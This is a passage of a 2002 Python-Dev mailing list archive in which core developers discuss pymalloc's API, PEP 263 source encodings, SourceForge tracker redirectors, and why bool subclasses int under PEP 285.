fought your way to after making a focused study of the source code.
Extension authors aren't so conscientious, although I expect some have
picked up by now that all the macro forms have been "deprecated" outside the
core.

> ... If I can get the TeX to create a table for me, I'll see whether
> I can produce a table. More likely, Fred will have to fix it...

That would be great.  Fred can do this from a plain text table with ease --
wrestling with TeX shouldn't stand in the way.

>> The endless layers of indirection macros make this quite a pain

> I'm also uncomfortable with those. Fortunately, the family of the
> "object allocator" does not deserve being documented - I doubt anybody
> will ever need this. Also, the overriding hooks for replacing the
> function names and signatures don't need to be documented.

Agreed.

>> Which API?

> PyObject_MALLOC/REALLOC/FREE, and PyCore_* (both object and raw).

Gotcha.

>> In the Python source, the thread implementations use malloc and free
>> on purpose, but it also turns up a curious
> >
> > 		    free((char *)Py_FileSystemDefaultEncoding);
> [...]
>> Does that mean that, on Windows, we may free() a static char*?!

> Of course not. This is wrapped in
>
> #if defined(HAVE_LANGINFO_H) && defined(CODESET)
>
> neither of which is defined on Windows.

As I said, it's worthy of a comment.  *I* have no idea whether
HAVE_LANGINFO_H and/or CODESET are defined on Windows.  If the correctness
of this code *relies* on that they're not defined on Windows (as it still
appears it does), an "#if Windows ... #error" would even be appropriate.



From martin@v.loewis.de  Fri Mar 15 20:47:44 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 15 Mar 2002 21:47:44 +0100
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: <20020315174032.GB31185@ute.mems-exchange.org>
References: <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com>
 <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net>
 <15506.12477.208087.216347@12-248-41-177.client.attbi.com>
 <20020315174032.GB31185@ute.mems-exchange.org>
Message-ID: <m3r8mltv67.fsf@mira.informatik.hu-berlin.de>

Andrew Kuchling <akuchlin@mems-exchange.org> writes:

> Should the redirector be moved to www.python.org/bugs/NNNN/ ?  (Or
> maybe /dev/bugs/NNN, and then we can create a /dev/ section for
> developers.)

Please keep it as short as possible. I'd prefer python.sf.net over
www.python.org (although python.org seems to work as well); and I'd
prefer /bug over /bugs.

Regards,
Martin


From martin@v.loewis.de  Fri Mar 15 20:44:54 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 15 Mar 2002 21:44:54 +0100
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: <15506.12477.208087.216347@12-248-41-177.client.attbi.com>
References: <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com>
 <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net>
 <15506.12477.208087.216347@12-248-41-177.client.attbi.com>
Message-ID: <m3vgbxtvax.fsf@mira.informatik.hu-berlin.de>

Skip Montanaro <skip@pobox.com> writes:

> I'm also going to use the full SF url for the links even though they are
> long and may potential get wrapped by broken mailers.  Something about
> Michael Hudson's redirector loses or blocks chit-chat between my browser and
> SF, so whenever I clicked one of those URLs I'd get a "Not Logged In"
> version of the page of interest even though I was logged in.

I'd like to run such a redirector on python.sf.net. Would people like
to see that happen (http://python.sf.net/bug/number and /patch/number).

Regards,
Martin


From martin@v.loewis.de  Fri Mar 15 20:18:50 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 15 Mar 2002 21:18:50 +0100
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCEKCOEAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCCEKCOEAA.tim.one@comcast.net>
Message-ID: <m3henhvb2t.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> calling malloc/free even when pymalloc is enabled.  Anyone think
> they know a reason (other than theoretical purity <wink>) for why
> pymalloc only targets the PyObject family?

I think the original rationale is that it does not really pay to
allocate other things with the object allocator: a pool allocator is
really good if you have many equal-sized object, but may waste a lot
of memory if you use it to manage arbitrary-sized memory blocks.

Also, for "large" requests, it forwards to system malloc. In the
current configuration, "large" requests are those larger than 64
bytes. If obmalloc would be used for all Python allocation requests,
it would need to forward to malloc much more often; this may be
undesirable and will certainly slow allocations for large chunks.

OTOH, I wonder whether the 64 byte limit is a bit small.

Regards,
Martin


From martin@v.loewis.de  Fri Mar 15 20:42:43 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 15 Mar 2002 21:42:43 +0100
Subject: [Python-Dev] PEP 263 - default encoding
In-Reply-To: <878z8tocsl.fsf@tleepslib.sk.tsukuba.ac.jp>
References: <200203130410.NAA31152@suzuki611.ngo.okisoft.co.jp>
 <3C8F236F.2512966F@lemburg.com>
 <200203151652.g2FGq5403278@pcp742651pcs.reston01.va.comcast.net>
 <3C922ABC.5E5718DE@lemburg.com>
 <878z8tocsl.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <m3zo19tvek.fsf@mira.informatik.hu-berlin.de>

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

>     mal> I have reworded the phase 1 implementation as follows:
> 
>     mal>     1. Implement the magic comment detection, but only apply
>     mal> the detected encoding to Unicode literals in the source file.
> 
> a. Does this really make sense for UTF-16?  It looks to me like a
> great way to induce bugs of the form "write a unicode literal
> containing 0x0A, then translate it to raw form by stripping the u
> prefix."

I'm not sure I understand the question. UTF-16 is not supported as a
source encoding, so no, it does not make sense for it to be applied to
Unicode literals.

> b. No editor is likely to implement correct display to distinguish
> between u"" and just "".

The declared encoding applies to the entire file. In phase 1, Python
does not use that for anything but Unicode literals, though.

Even in phase 2, non-ASCII will be only allowed in comments and string
literals. Comments are ignored by the Python lexer (except for
encoding/tab declarations). For string literals, the meaning of the
literal does not change even if the encoding is considered: the string
literal continues to denote the same sequence of bytes.

The only differences in phase two will be those:

- if there is an encoding violation inside a comment or a string literal,
  Python will reject the source code (simply because decoding fails)

- if the declared encoding uses \ or " as the second bytes of a multi-byte
  encoding, Python will correctly parse the string. In phase 1, it may
  fail to correctly determine the end of the string.

> c. This definitely breaks Emacs coding cookie semantics.  Emacs
> applies the coding cookie to the whole buffer.  

So does Python. It just side-steps part of the code conversions in
phase 1. 

> d. You probably have to deprecate ISO 2022 7-bit coding systems, too,
> because people will try to get the representation of a string by
> inputting a raw string in coded form.  This might contain a quote
> character.

We don't deprecate them; we just don't support them in phase 1. Users
of these encodings are encouraged to contribute a phase 2
implementation.

> e. This causes problems for UTF-8 transition, since people will want
> to put arbitrary byte strings in a raw string.  

No, they won't. Also, if the declared encoding is UTF-8, it is
incorrect to put arbitrary byte strings into a string literal - but
the implementation does not detect this violation.

Regards,
Martin


From martin@v.loewis.de  Fri Mar 15 20:33:29 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 15 Mar 2002 21:33:29 +0100
Subject: [Python-Dev] PEP 263 - default encoding
In-Reply-To: <3C922FE7.DD78C73E@prescod.net>
References: <200203130410.NAA31152@suzuki611.ngo.okisoft.co.jp>
 <3C8F236F.2512966F@lemburg.com>
 <200203151652.g2FGq5403278@pcp742651pcs.reston01.va.comcast.net>
 <3C922ABC.5E5718DE@lemburg.com> <3C922FE7.DD78C73E@prescod.net>
Message-ID: <m34rjhvaee.fsf@mira.informatik.hu-berlin.de>

Paul Prescod <paul@prescod.net> writes:

> >     1. Implement the magic comment detection, but only apply the
> >        detected encoding to Unicode literals in the source file.
> > 
> >        If no magic comment is used, Python should continue to
> >        use the standard [raw-]unicode-escape codecs for Unicode
> >        literals.
> 
> Are we thinking about Python's unicode literal syntax as just a codec? I
> know that there is a codec that implements that syntax but I would hate
> to find out that if I use KOI8-R, I no longer have the ability to use \U
> in my code to insert Kanji.

That will continue to be possible. With an encoding declaration, it is
not the "standard" unicode-escape codec anymore. Instead, the string
is first decoded into a Unicode object, then again decoded for
escapes.  The second step is a Unicode->Unicode transformation that
will be available only to parser (although there is currently a debate
whether to make it share code with the byte->unicode unicode-escape
codec).

Regards,
Martin


From martin@v.loewis.de  Fri Mar 15 20:23:14 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 15 Mar 2002 21:23:14 +0100
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCKEMFOEAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCKEMFOEAA.tim.one@comcast.net>
Message-ID: <m3d6y5vavh.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> In the other direction, e.g.,
> 
>    PyObject_New ->
>    _PyObject_New ->
>    PyObject_MALLOC ->
>    PyCore_OBJECT_MALLOC ->
>    PyCore_OBJECT_MALLOC_FUNC,
>        and we're back in the macro chain traced above
> 
> There's just no sane way to say "give me obmalloc.c's malloc".

I may be missing something, but won't PyObject_Malloc (or
PyObject_MALLOC if you prefer macros) have precisely this effect?

It's the object allocator you are then talking to (and I withdraw my
earlier claim that nobody wants to call this directly).

Regards,
Martin


From martin@v.loewis.de  Fri Mar 15 20:24:46 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 15 Mar 2002 21:24:46 +0100
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <20020315153727.GA9439@panix.com>
References: <Pine.OS2.4.32.0203150745110.3696-100000@tenring.andymac.org>
 <LNBBLJKPBEHFEDALKOLCAEJDOEAA.tim.one@comcast.net>
 <20020315153727.GA9439@panix.com>
Message-ID: <m38z8tvasx.fsf@mira.informatik.hu-berlin.de>

Aahz <aahz@pythoncraft.com> writes:

> I'm just picking a random spot to break into this thread.  Last
> go-round, I seem to recall a suggestion that pymalloc get a new API and
> that anyone who wanted to use pymalloc would be forced to modify their
> code.  That would leave all currently working ways of spelling
> malloc()/free() working.
> 
> Is there some reason why we're not doing that?

There is no code forthcoming to do that.

Regards,
Martin


From akuchlin@mems-exchange.org  Fri Mar 15 20:54:59 2002
From: akuchlin@mems-exchange.org (Andrew Kuchling)
Date: Fri, 15 Mar 2002 15:54:59 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: <m3r8mltv67.fsf@mira.informatik.hu-berlin.de>
References: <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com> <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net> <15506.12477.208087.216347@12-248-41-177.client.attbi.com> <20020315174032.GB31185@ute.mems-exchange.org> <m3r8mltv67.fsf@mira.informatik.hu-berlin.de>
Message-ID: <20020315205459.GA31796@ute.mems-exchange.org>

On Fri, Mar 15, 2002 at 09:47:44PM +0100, Martin v. Loewis wrote:
>Please keep it as short as possible. I'd prefer python.sf.net over
>www.python.org (although python.org seems to work as well); and I'd
>prefer /bug over /bugs.

I have no access to the httpd.conf file on python.org, so if a
redirector gets set up it won't be done by me.  If you want to set up
a redirector on python.sf.net, that's fine.  (Wherever it lives, I
think the redirectors for PEPs, bugs, and patches should all be in the
same place.)

--amk                                                             (www.amk.ca)
I don't think. I just act. You brains are the ones who do all the
thinking. You ruin it for us bodies.
    -- Cliff's body, in DOOM PATROL #34


From barry@zope.com  Fri Mar 15 20:54:57 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Fri, 15 Mar 2002 15:54:57 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
References: <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com>
 <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net>
 <15506.12477.208087.216347@12-248-41-177.client.attbi.com>
 <m3vgbxtvax.fsf@mira.informatik.hu-berlin.de>
Message-ID: <15506.24481.541857.714599@anthem.wooz.org>

>>>>> "MvL" == Martin v Loewis <martin@v.loewis.de> writes:

    MvL> I'd like to run such a redirector on python.sf.net. Would
    MvL> people like to see that happen
    MvL> (http://python.sf.net/bug/number and /patch/number).

I really wish there was a way to fold these two trackers into one
repository.  Sometimes all I have is a number and I don't know whether
it's a bug or patch.  AFAIK, there's no overlap between ids for
patches and bugs.  If you get /that/ working, I'd be your best friend.

-Barry


From barry@zope.com  Fri Mar 15 20:59:02 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Fri, 15 Mar 2002 15:59:02 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
References: <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com>
 <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net>
 <15506.12477.208087.216347@12-248-41-177.client.attbi.com>
 <20020315174032.GB31185@ute.mems-exchange.org>
 <m3r8mltv67.fsf@mira.informatik.hu-berlin.de>
 <20020315205459.GA31796@ute.mems-exchange.org>
Message-ID: <15506.24726.999479.232993@anthem.wooz.org>

>>>>> "AK" == Andrew Kuchling <akuchlin@mems-exchange.org> writes:

    AK> I have no access to the httpd.conf file on python.org

That would be easy to rectify <wink>.
-Barry


From guido@python.org  Fri Mar 15 21:02:37 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 15 Mar 2002 16:02:37 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: Your message of "Fri, 15 Mar 2002 15:54:59 EST."
 <20020315205459.GA31796@ute.mems-exchange.org>
References: <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com> <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net> <15506.12477.208087.216347@12-248-41-177.client.attbi.com> <20020315174032.GB31185@ute.mems-exchange.org> <m3r8mltv67.fsf@mira.informatik.hu-berlin.de>
 <20020315205459.GA31796@ute.mems-exchange.org>
Message-ID: <200203152102.g2FL2bX04962@pcp742651pcs.reston01.va.comcast.net>

> I have no access to the httpd.conf file on python.org, so if a
> redirector gets set up it won't be done by me.  If you want to set
> up a redirector on python.sf.net, that's fine.  (Wherever it lives,
> I think the redirectors for PEPs, bugs, and patches should all be in
> the same place.)

If you want it on python.org, I'm sure Barry Warsaw
<webmaster@python.org> will happily set it up for you.

(The PEP redirector is a bit different because it doesn't redirect
just numbers -- it redirects URLs of the form
python.org/peps/pep-0000.html to the corresponding python.sf.net URL.)

Personally, I fail to see why we would have *anything* on
python.sf.net rather than on www.python.org.  In fact, I'd think that
at some point in the future, these two hosts should probably be
serve the same set of pages.  Therefore, please make sure not to use
directory names on python.sf.net that already have a meaning on
python.org.  (I believe currently there are no overlaps.)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Fri Mar 15 21:04:27 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 16:04:27 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <m3d6y5vavh.fsf@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCCENOOEAA.tim.one@comcast.net>

[Martin v. Loewis]
> I may be missing something, but won't PyObject_Malloc (or
> PyObject_MALLOC if you prefer macros) have precisely this effect?

Yes.  It's not "sane", though, because PyObject_xxx is not "supposed to be
used" for raw memory.  Nevertheless, it would work.  In the same way, I can
mix PyMem_New with PyMem_FREE today freely in the core, but you'll object
that they're from different "families" <wink>.



From guido@python.org  Fri Mar 15 21:04:52 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 15 Mar 2002 16:04:52 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: Your message of "Fri, 15 Mar 2002 15:54:57 EST."
 <15506.24481.541857.714599@anthem.wooz.org>
References: <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com> <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net> <15506.12477.208087.216347@12-248-41-177.client.attbi.com> <m3vgbxtvax.fsf@mira.informatik.hu-berlin.de>
 <15506.24481.541857.714599@anthem.wooz.org>
Message-ID: <200203152104.g2FL4qD04982@pcp742651pcs.reston01.va.comcast.net>

> I really wish there was a way to fold these two trackers into one
> repository.  Sometimes all I have is a number and I don't know whether
> it's a bug or patch.  AFAIK, there's no overlap between ids for
> patches and bugs.  If you get /that/ working, I'd be your best friend.

That would require a CGI script that tries both and sees which one
doesn't return an error.  I think it's overkill.

Here are two scripts I recently started using:

sfpatch --------------------------------------------------------------

#! /usr/bin/env python

import os, sys, webbrowser

def main():
    args = sys.argv[1:]
    if len(args) != 1:
        print "usage: %s patchno" % sys.argv[0]
        sys.exit(2)
    url = "http://python.net/crew/mwh/py/bug/" + args[0]
    webbrowser.open(url)

main()

sfbug ----------------------------------------------------------------

#! /usr/bin/env python

import os, sys, webbrowser

def main():
    args = sys.argv[1:]
    if len(args) != 1:
        print "usage: %s patchno" % sys.argv[0]
        sys.exit(2)
    url = "http://python.net/crew/mwh/py/patch/" + args[0]
    webbrowser.open(url)

main()

----------------------------------------------------------------------

Is it worth to check these into Tools/demos/scripts/?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Fri Mar 15 21:08:33 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 16:08:33 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <m3henhvb2t.fsf@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCIENPOEAA.tim.one@comcast.net>

[martin@v.loewis.de]
> ...
> OTOH, I wonder whether the 64 byte limit is a bit small.

I've said several times that I intend to boost it.  Python has changed in
relevant ways since obmalloc.c was written, from GC adding 12 bytes to
various things, to dicts growing to such an extent that pymalloc can never
handle a dict request on its own now.



From skip@pobox.com  Fri Mar 15 21:12:23 2002
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 15 Mar 2002 15:12:23 -0600
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: <m3r8mltv67.fsf@mira.informatik.hu-berlin.de>
References: <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com>
 <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net>
 <15506.12477.208087.216347@12-248-41-177.client.attbi.com>
 <20020315174032.GB31185@ute.mems-exchange.org>
 <m3r8mltv67.fsf@mira.informatik.hu-berlin.de>
Message-ID: <15506.25527.50658.84250@12-248-41-177.client.attbi.com>

    Martin> Please keep it as short as possible. I'd prefer python.sf.net
    Martin> over www.python.org (although python.org seems to work as well);
    Martin> and I'd prefer /bug over /bugs.

And maybe make bug v. patch a parameter?

S


From barry@zope.com  Fri Mar 15 21:10:49 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Fri, 15 Mar 2002 16:10:49 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
References: <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com>
 <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net>
 <15506.12477.208087.216347@12-248-41-177.client.attbi.com>
 <m3vgbxtvax.fsf@mira.informatik.hu-berlin.de>
 <15506.24481.541857.714599@anthem.wooz.org>
 <200203152104.g2FL4qD04982@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15506.25433.907492.292387@anthem.wooz.org>

>>>>> "GvR" == Guido van Rossum <guido@python.org> writes:

    GvR> That would require a CGI script that tries both and sees
    GvR> which one doesn't return an error.  I think it's overkill.

Maybe.  I find it annoying, but not enough to Do Something About It,
so I won't complain.

    GvR> Is it worth to check these into Tools/demos/scripts/?

Sure!
-Barry


From martin@v.loewis.de  Fri Mar 15 21:12:49 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 15 Mar 2002 22:12:49 +0100
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCEENLOEAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCEENLOEAA.tim.one@comcast.net>
Message-ID: <m38z8ttu0e.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> As I said, it's worthy of a comment.  *I* have no idea whether
> HAVE_LANGINFO_H and/or CODESET are defined on Windows.  If the correctness
> of this code *relies* on that they're not defined on Windows (as it still
> appears it does), an "#if Windows ... #error" would even be appropriate.

Correctness of this code is established throught the sequence

	if (Py_FileSystemDefaultEncoding == NULL)
	    fileencoding_uses_locale = 1;
	if (fileencoding_uses_locale) {

The only way the free can be ever executed is if
fileencoding_uses_locale. This can be only set if
Py_FileSystemDefaultEncoding was NULL at some earlier point.

Correctness of this code does not rely on whether certain defines are
defined on Windows.

Regards,
Martin


From nas@python.ca  Fri Mar 15 21:18:47 2002
From: nas@python.ca (Neil Schemenauer)
Date: Fri, 15 Mar 2002 13:18:47 -0800
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <m38z8tvasx.fsf@mira.informatik.hu-berlin.de>; from martin@v.loewis.de on Fri, Mar 15, 2002 at 09:24:46PM +0100
References: <Pine.OS2.4.32.0203150745110.3696-100000@tenring.andymac.org> <LNBBLJKPBEHFEDALKOLCAEJDOEAA.tim.one@comcast.net> <20020315153727.GA9439@panix.com> <m38z8tvasx.fsf@mira.informatik.hu-berlin.de>
Message-ID: <20020315131847.A7719@glacier.arctrix.com>

Martin v. Loewis wrote:
> There is no code forthcoming to do that.

I'll see if I can come up with a patch.

  Neil


From fdrake@acm.org  Fri Mar 15 21:12:22 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Fri, 15 Mar 2002 16:12:22 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: <m3vgbxtvax.fsf@mira.informatik.hu-berlin.de>
References: <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com>
 <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net>
 <15506.12477.208087.216347@12-248-41-177.client.attbi.com>
 <m3vgbxtvax.fsf@mira.informatik.hu-berlin.de>
Message-ID: <15506.25526.519909.771793@grendel.zope.com>

Martin v. Loewis writes:
 > I'd like to run such a redirector on python.sf.net. Would people like
 > to see that happen (http://python.sf.net/bug/number and /patch/number).

Tracker IDs come from a common pool; ideally there'd be a way to map
from the ID to either a bug or a patch, but the redirector would have
to be smarter (it would have to figure out which to use).

Multiple development trackers are evil.  The only one of the
"standard" four that get created for a new project which *should* be
separate is the support tracker.  Bugs/patches/features should be
coalesced into one thing.  The current configuration of the trackers
on SF has more to do with their legacy than anything else.


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From xscottg@yahoo.com  Fri Mar 15 21:18:47 2002
From: xscottg@yahoo.com (Scott Gilbert)
Date: Fri, 15 Mar 2002 13:18:47 -0800 (PST)
Subject: [Python-Dev] PEP 285, inheritance reversed
Message-ID: <20020315211847.7950.qmail@web12907.mail.yahoo.com>

Being a newbie on this list, I was hoping to keep my mouth shut a
little longer and just wait to see how your discussions rounded out,
but since the topic seems to have died, I figure I'll make my say:

Isn't the inheritance between bool and int backwards?

ints can be used as bools
longs can be used as bools
floats can be used as bools
lists can be used as bools
dicts can be used as bools
strings can be used as bools
etc... can be used as bools

bools can't be promoted to dicts
bools can't be promoted to lists
bools can be promoted to ints, longs, floats, and strings, (and a few
others) but only in a limited way.

In some OO fashion, doesn't all of this imply that ints, longs, lists,
dicts, strings, ... should derive from bool instead of bool deriving
from int?  Then bool implements __int__, __long__, __str__, __repr__,
or the C extension equivalent to promote where needed?

I suppose that breaks anything that assumes int, long, str, dict, list
derive from object directly though...  Otherwise does it cause a
problem?

Ok.  I'll go back to being quiet for a bit.

Cheers,
    -Scott




ps: The intro to the list said I should introduce myself...  I'm a
software engineer living and working in Tucson, Arizona.  The company I
work for has started using Python in a larger and larger capacity for
digital signal processing and other misc scientific computing.  I've
followed the language for 3-4 of years now.


__________________________________________________
Do You Yahoo!?
Yahoo! Sports - live college hoops coverage
http://sports.yahoo.com/


From martin@v.loewis.de  Fri Mar 15 21:19:04 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 15 Mar 2002 22:19:04 +0100
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: <15506.24481.541857.714599@anthem.wooz.org>
References: <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com>
 <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net>
 <15506.12477.208087.216347@12-248-41-177.client.attbi.com>
 <m3vgbxtvax.fsf@mira.informatik.hu-berlin.de>
 <15506.24481.541857.714599@anthem.wooz.org>
Message-ID: <m34rjhttpz.fsf@mira.informatik.hu-berlin.de>

barry@zope.com (Barry A. Warsaw) writes:

> I really wish there was a way to fold these two trackers into one
> repository.  Sometimes all I have is a number and I don't know
> whether it's a bug or patch.  AFAIK, there's no overlap between ids
> for patches and bugs.  If you get /that/ working, I'd be your best
> friend.

I'll try. I believe it is feasible: it appears that you only need the
id to uniquely identify SF project and tracker.

What URL would you use? I assume you did not mean python.org/that/NNNN
literally :-)

Regards,
Martin


From barry@zope.com  Fri Mar 15 21:22:27 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Fri, 15 Mar 2002 16:22:27 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
References: <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com>
 <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net>
 <15506.12477.208087.216347@12-248-41-177.client.attbi.com>
 <m3vgbxtvax.fsf@mira.informatik.hu-berlin.de>
 <15506.24481.541857.714599@anthem.wooz.org>
 <m34rjhttpz.fsf@mira.informatik.hu-berlin.de>
Message-ID: <15506.26131.482176.95558@anthem.wooz.org>

>>>>> "MvL" == Martin v Loewis <martin@v.loewis.de> writes:

    MvL> What URL would you use? I assume you did not mean
    MvL> python.org/that/NNNN literally :-)

Sorry, my idisyncratic emphasis markers confusing the issue. :)

I'd use python.org/sf/NNNN or python.org/tracker/NNNN, or something
else useful.

-Barry


From tim.one@comcast.net  Fri Mar 15 21:47:12 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 16:47:12 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: <200203152104.g2FL4qD04982@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEODOEAA.tim.one@comcast.net>

[Guido]
> Is it worth to check these into Tools/demos/scripts/?

Umm, it's not worth creating a new directory.  +0 on Tools/scripts/, -0 on
any location under Demo/.



From guido@python.org  Fri Mar 15 21:55:14 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 15 Mar 2002 16:55:14 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: Your message of "Fri, 15 Mar 2002 16:12:22 EST."
 <15506.25526.519909.771793@grendel.zope.com>
References: <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com> <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net> <15506.12477.208087.216347@12-248-41-177.client.attbi.com> <m3vgbxtvax.fsf@mira.informatik.hu-berlin.de>
 <15506.25526.519909.771793@grendel.zope.com>
Message-ID: <200203152155.g2FLtEa05212@pcp742651pcs.reston01.va.comcast.net>

> Multiple development trackers are evil.  The only one of the
> "standard" four that get created for a new project which *should* be
> separate is the support tracker.  Bugs/patches/features should be
> coalesced into one thing.  The current configuration of the trackers
> on SF has more to do with their legacy than anything else.

So it was a mistake to fork off a feature tracker?

What about MvL's assertion that it's more important to pay attention
to patches than to bugs, because patches are people who are trying to
contribute, and we want to encourage them?

(People submitting bug reports are also trying to help, but arguably
they are more interested in *getting* something, e.g. a fix, while
patch submittors are clearly *giving*, even if they may not always be
100% altruistic -- some patches are clearly "do it my way" requests.)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Fri Mar 15 22:00:45 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 15 Mar 2002 17:00:45 -0500
Subject: [Python-Dev] PEP 285, inheritance reversed
In-Reply-To: Your message of "Fri, 15 Mar 2002 13:18:47 PST."
 <20020315211847.7950.qmail@web12907.mail.yahoo.com>
References: <20020315211847.7950.qmail@web12907.mail.yahoo.com>
Message-ID: <200203152200.g2FM0jX05236@pcp742651pcs.reston01.va.comcast.net>

> Being a newbie on this list, I was hoping to keep my mouth shut a
> little longer and just wait to see how your discussions rounded out,
> but since the topic seems to have died, I figure I'll make my say:
> 
> Isn't the inheritance between bool and int backwards?
> 
> ints can be used as bools
> longs can be used as bools
> floats can be used as bools
> lists can be used as bools
> dicts can be used as bools
> strings can be used as bools
> etc... can be used as bools
> 
> bools can't be promoted to dicts
> bools can't be promoted to lists
> bools can be promoted to ints, longs, floats, and strings, (and a few
> others) but only in a limited way.
> 
> In some OO fashion, doesn't all of this imply that ints, longs, lists,
> dicts, strings, ... should derive from bool instead of bool deriving
> from int?  Then bool implements __int__, __long__, __str__, __repr__,
> or the C extension equivalent to promote where needed?

No, it means that there are two subtly different concepts.  One
concept is "being usable as a truth value".  This is a property of all
objects, and hence all types/classes indeed inherit this ability from
the ultimate base class, 'object'.  (Notwithstanding the fact that
a class can override this property to always raise an exception.)

The other concept is "a normalized truth value".  Traditionally, we
have used the integers 0 and 1 for these.  This is what the bool type
from PEP 285 wants to supplant.  It has to be a subclass of int for
backwards compatibility reasons.

> ps: The intro to the list said I should introduce myself...  I'm a
> software engineer living and working in Tucson, Arizona.  The
> company I work for has started using Python in a larger and larger
> capacity for digital signal processing and other misc scientific
> computing.  I've followed the language for 3-4 of years now.

Cool!  Let me know if you have an entry for our collection of Python
users:

http://www.python.org/psa/Users.html

(I know, the page contains many stale entries.  I'm hoping eventually
to make a much nicer page with a smaller number of "big names".)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Fri Mar 15 22:41:04 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 17:41:04 -0500
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: <200203152155.g2FLtEa05212@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEOIOEAA.tim.one@comcast.net>

[Guido]
> So it was a mistake to fork off a feature tracker?

Given the difficulty of filtering on SourceForge, and that we've really got
